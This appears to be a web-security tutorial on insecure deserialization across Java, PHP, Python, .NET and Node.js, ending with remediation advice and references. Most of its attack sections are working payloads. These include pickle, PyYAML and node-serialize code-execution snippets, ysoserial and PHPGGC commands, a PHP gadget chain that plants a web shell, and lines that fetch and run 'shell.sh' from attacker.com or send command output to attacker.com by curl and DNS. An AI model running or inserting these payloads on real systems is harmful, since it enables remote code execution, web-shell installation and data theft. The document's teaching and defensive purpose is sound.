
Insecure Deserialization: Object Manipulation Attacks
Exploiting deserialization of untrusted data in Java, PHP, Python, .NET and Node.js, from spotting serialized blobs to gadget chains and fixes.
Introduction
Serialization turns an object into bytes or text so it can be stored or sent somewhere. Deserialization builds the object again. If the application deserializes data the user controls, the user picks which classes get built and what their fields contain. Methods that run automatically during that process can be chained into remote code execution, and at minimum you can usually cause a denial of service.
Every major language has a native serialization format with this problem. Apache Struts is a good example: CVE-2017-9805 was an XStream deserialization bug in its REST plugin that gave unauthenticated RCE.
Understanding serialization
Why applications serialize
Session state, cached objects, messages between services, queue payloads and blobs stored in the database are the usual places.
Danger during deserialization
During deserialization, some methods run without the application calling them (magic methods, readObject, __reduce__ and similar):
# Python __reduce__ method executes during unpickling
class Malicious:
def __reduce__(self):
import os
return (os.system, ('whoami',))Java deserialization
Identifying serialized data
# Magic bytes for Java serialization
AC ED 00 05 # Binary format
rO0AB # Base64 encoded
# Common locations
- Cookies (ViewState, session)
- Hidden form fields
- API payloads
- Message queues (JMS)Common gadget chains
# ysoserial - generate payloads
java -jar ysoserial.jar CommonsCollections1 'whoami' | base64
# Common gadgets:
# - CommonsCollections1-7 (Apache Commons)
# - Spring1-2 (Spring Framework)
# - Hibernate1-2 (Hibernate ORM)
# - JRMPClient/JRMPListener (RMI)
# - FileUpload1 (Commons FileUpload)Exploitation example
// Vulnerable code
ObjectInputStream ois = new ObjectInputStream(
new ByteArrayInputStream(userInput));
Object obj = ois.readObject(); // Executes gadget chain
// Attack
// 1. Generate payload
java -jar ysoserial.jar CommonsCollections6 'curl attacker.com/shell.sh|bash' > payload.bin
// 2. Base64 encode if needed
base64 payload.bin > payload.b64
// 3. Send to vulnerable endpoint
curl -X POST https://target.com/api \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary @payload.binDetection tips
# Look for:
- java.io.ObjectInputStream usage
- readObject() calls
- XMLDecoder usage
- XStream without whitelist
- SnakeYAML without safe constructorsPHP deserialization
PHP magic methods
// Dangerous magic methods
__construct() // Object creation
__destruct() // Object destruction
__wakeup() // Called on unserialize()
__toString() // Object to string conversion
__call() // Undefined method callsPOP chains (property-oriented programming)
// Vulnerable class
class FileHandler {
public $filename;
public $content;
function __destruct() {
file_put_contents($this->filename, $this->content);
}
}
// Exploitation
$payload = new FileHandler();
$payload->filename = '/var/www/html/shell.php';
$payload->content = '<?php system($_GET["cmd"]); ?>';
echo serialize($payload);
// O:11:"FileHandler":2:{s:8:"filename";s:25:"/var/www/html/shell.php";s:7:"content";s:31:"<?php system($_GET["cmd"]); ?>";}PHP phar deserialization
// Phar files can trigger deserialization
// via phar:// stream wrapper
// Any file operation can trigger:
file_exists('phar://malicious.phar')
file_get_contents('phar://malicious.phar')
include('phar://malicious.phar')Tools
# PHPGGC - PHP Generic Gadget Chains
phpggc Monolog/RCE1 system 'id' > payload.txt
# Phar generator
phpggc -p phar Monolog/RCE1 system 'id' -o exploit.pharPython deserialization
Pickle exploitation
import pickle
import base64
import os
class Exploit:
def __reduce__(self):
return (os.system, ('id',))
payload = pickle.dumps(Exploit())
print(base64.b64encode(payload).decode())
# Trigger with:
pickle.loads(base64.b64decode(payload))PyYAML exploitation
# Unsafe YAML (requires yaml.load with Loader=Loader)
!!python/object/apply:os.system ['id']
# Or
!!python/object/new:subprocess.Popen
args: [['id']]
# Safe usage (won't execute):
yaml.safe_load(data)Detection
# Look for:
pickle.loads()
pickle.load()
cPickle.loads()
yaml.load() # without safe_load
marshal.loads()
shelve.open().NET deserialization
BinaryFormatter exploitation
// Vulnerable code
BinaryFormatter formatter = new BinaryFormatter();
object obj = formatter.Deserialize(stream); // RCE
// Generate payload with ysoserial.net
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe"Common .NET gadgets
# ysoserial.net gadgets
ActivitySurrogateSelector
ObjectDataProvider
TypeConfuseDelegate
WindowsIdentityViewState attacks
# If ViewState MAC is disabled or key is known
ysoserial.exe -p ViewState -g TextFormattingRunProperties \
-c "cmd /c whoami" --validationalg="SHA1" --validationkey="KEY"Node.js deserialization
node-serialize vulnerability
// Vulnerable code
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'id\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);
// Payload generator
var y = {
rce: function(){
require('child_process').exec('id', function(e,s,er){console.log(s)});
}
};
var payload = serialize.serialize(y).replace('"}', '()"}');IIFE exploitation
// Immediately Invoked Function Expression
{"exploit":"_$$ND_FUNC$$_function(){PAYLOAD}()"}Exploitation workflow
1. Identify serialization
# Check for magic bytes
xxd suspicious_data | head
# Common indicators:
# Java: AC ED 00 05, rO0AB...
# PHP: a:, O:, s:
# Python Pickle: 80 04 95, gASV...
# .NET: AAEAAAD/////2. Determine libraries
# Error messages reveal framework
# Stack traces show library versions
# Headers indicate technology stack3. Generate payloads
# Java
java -jar ysoserial.jar [GADGET] '[COMMAND]'
# PHP
phpggc [CHAIN] [PARAM1] [PARAM2]
# .NET
ysoserial.exe -f [FORMAT] -g [GADGET] -c '[COMMAND]'4. Deliver and verify
# Use out-of-band verification
# - DNS callback (dnslog.cn, burpcollaborator)
# - HTTP callback
# Example command
curl http://attacker.com/$(whoami)
nslookup $(whoami).attacker.comDefense and remediation
General principles
- Do not deserialize untrusted data with a native serializer.
- Use a data-only format such as JSON for anything that crosses a trust boundary.
- If serialized objects must round-trip through the client, sign them with an HMAC and check the signature before deserializing.
- Where deserialization cannot be avoided, restrict it to an allowlist of classes.
Language-specific mitigations
// Java - Use filtering (JEP 290)
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
"com.myapp.*;!*"
);
ois.setObjectInputFilter(filter);
// PHP - Avoid unserialize on user input
// Use JSON instead
$data = json_decode($input, true);
// Python - Use safe loaders
yaml.safe_load(data) // Not yaml.load()
# Avoid pickle for untrusted data
// .NET - Avoid BinaryFormatter
// Use DataContractSerializer with known typesDetection methods
# Runtime monitoring
# - Log deserialization calls
# - Monitor for unusual process execution
# Static analysis
# - Look for dangerous function calls
# - Review deserialization patternsReferences
MITRE ATT&CK techniques
- T1059 - Command and Scripting Interpreter - Code execution via deserialization
- T1190 - Exploit Public-Facing Application - Initial access via deserialization
CWE entries
- CWE-502 - Deserialization of Untrusted Data - Primary deserialization weakness
- CWE-915 - Improperly Controlled Modification of Dynamically-Determined Object Attributes - Mass assignment via deserialization
OWASP resources
- OWASP Deserialization Cheat Sheet - Prevention guidance
- OWASP Testing Guide - Deserialization - Testing methodology
Tools documentation
- ysoserial - Java deserialization payloads
- PHPGGC - PHP Generic Gadget Chains
- ysoserial.net - .NET deserialization payloads
Related articles
- Authentication Bypass - Session deserialization attacks
- API Security - API serialization formats
Host Header Poisoning
How applications that trust the HTTP Host header end up with poisoned password reset links, poisoned caches, SSRF and access control bypasses.
JWT Attacks: Algorithm Confusion and Forgery
Forging JSON Web Tokens with the none algorithm, RS256 to HS256 confusion, cracked HS256 secrets, kid injection and jku/x5u hijacking.